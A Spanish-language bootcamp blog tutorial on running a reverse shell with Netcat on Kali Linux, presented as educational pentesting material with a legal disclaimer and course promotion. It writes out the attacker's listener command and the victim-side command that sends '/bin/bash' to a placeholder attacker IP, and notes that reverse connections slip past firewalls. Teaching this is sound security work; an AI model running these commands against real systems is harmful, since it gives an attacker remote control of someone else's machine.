¿Cómo ejecutar una shell inversa?

| Última modificación: 14 de octubre de 2024 | Tiempo de Lectura: 3 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

¿Sabes cómo ejecutar una shell inversa con Netcat en Kali Linux?

El siguiente tutorial sobre cómo ejecutar una shell inversa con Kali Linux está hecho con fines educativos. Utilizar técnicas de hacking web en entornos no autorizados se considera un delito en la mayoría de países. Por lo tanto, es necesario aprender a practicar estos conocimientos en entornos legales diseñados especialmente para ello. De este modo, no se perjudica a nadie en el proceso.

Contexto sobre pentesting

El pentesting es una rama de la ciberseguridad que consiste en aplicar técnicas de hacking para descubrir las vulnerabilidades de un sistema. Para ello, es necesario entender cómo actúan los ciberatacantes; es decir, cómo se identifican y explotan los fallos de seguridad de un software, una red o una aplicación web.

Existen diferentes tipos de vulnerabilidades informáticas y métodos para explotarlas. En otras palabras, hay una gran variedad de fallos de seguridad y técnicas para utilizarlos como puerta de acceso al sistema de una víctima. No obstante, en el pentesting también es importante entender el proceso que ocurre después de la explotación.

La postexplotación es una etapa del pentesting para la que un atacante ya debe haber ingresado al sistema explotando alguna vulnerabilidad. Durante esta fase, un hacker malicioso ejecuta tareas como:

  • Escalada de privilegios.
  • Movimiento lateral por la red.
  • Despliegue de código maligno.
  • Exflitración de datos.
  • Ejecución remota de código.

En la postexplotación, es muy común que los atacantes ejecuten comandos de forma remota en el ordenador de una víctima. En este post, veremos una técnica especialmente para ello. A continuación, te explicaremos cómo ejecutar una shell inversa.

¿Cómo ejecutar una shell inversa?

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Una shell inversa es una terminal de comandos que sirve para ejecutar código en el ordenador de una víctima por medio de conexiones de tipo TCP o UDP. El sistema operativo para pentesting, Kali Linux, tiene un programa preinstalado, llamado Netcat, que permite establecer este tipo de conexiones entre máquinas.

Así pues, en pentesting, Netcat es el programa más utilizado para ejecutar shells, que pueden ser inversas o directas. En una shell inversa, el ordenador de la víctima se conecta al del atacante, mientras que en una shell directa sucede al contrario. Antes de ver las implicaciones de esta diferencia, veremos cómo ejecutar una shell inversa.

Comandos

Para ejecutar una shell inversa, es necesario ejecutar ciertos comandos en los ordenadores del atacante y la víctima.

  • En el ordenador del atacante, se ejecuta el siguiente comando, con el fin de poner un puerto a la escucha:
nc -lvp 4444

Esto se ve del siguiente modo en la consola:

  • En el ordenador de la víctima, se ejecuta el siguiente comando, con el fin de que se conecte al puerto del atacante:
nc <Dirección IP del atacante> 4444 -e /bin/bash

En consola, se vería así:

  • Esto producirá el siguiente resultado en la terminal del atacante:
  • Así pues, notarás que puedes ejecutar cualquier comando de Linux para realizar acciones dentro del ordenador comprometido. Por ejemplo:

Diferencia entre shell inversa y directa

Ya hemos visto cómo ejecutar una shell inversa con Netcat. Como decíamos anteriormente, la diferencia entre una shell inversa y directa consiste en que, en la primera, la víctima se conecta al atacante; en la segunda, es el atacante quien se conecta al objetivo.

Casi siempre, en hacking web, se utilizan las conexiones inversas, ya que de este modo se logran evitar medidas de seguridad como los firewalls. Entonces, en ciberataques, el proceso descrito en este post es el más común para esta técnica de postexplotación.

Ya hemos visto cómo ejecutar una shell inversa con Kali Linux. Si quieres aprender más sobre técnicas de pentesting, en KeepCoding tenemos el curso intensivo ideal para ti. Entra a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo especializarte en tan solo 7 meses. ¡No sigas esperando e inscríbete ahora!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado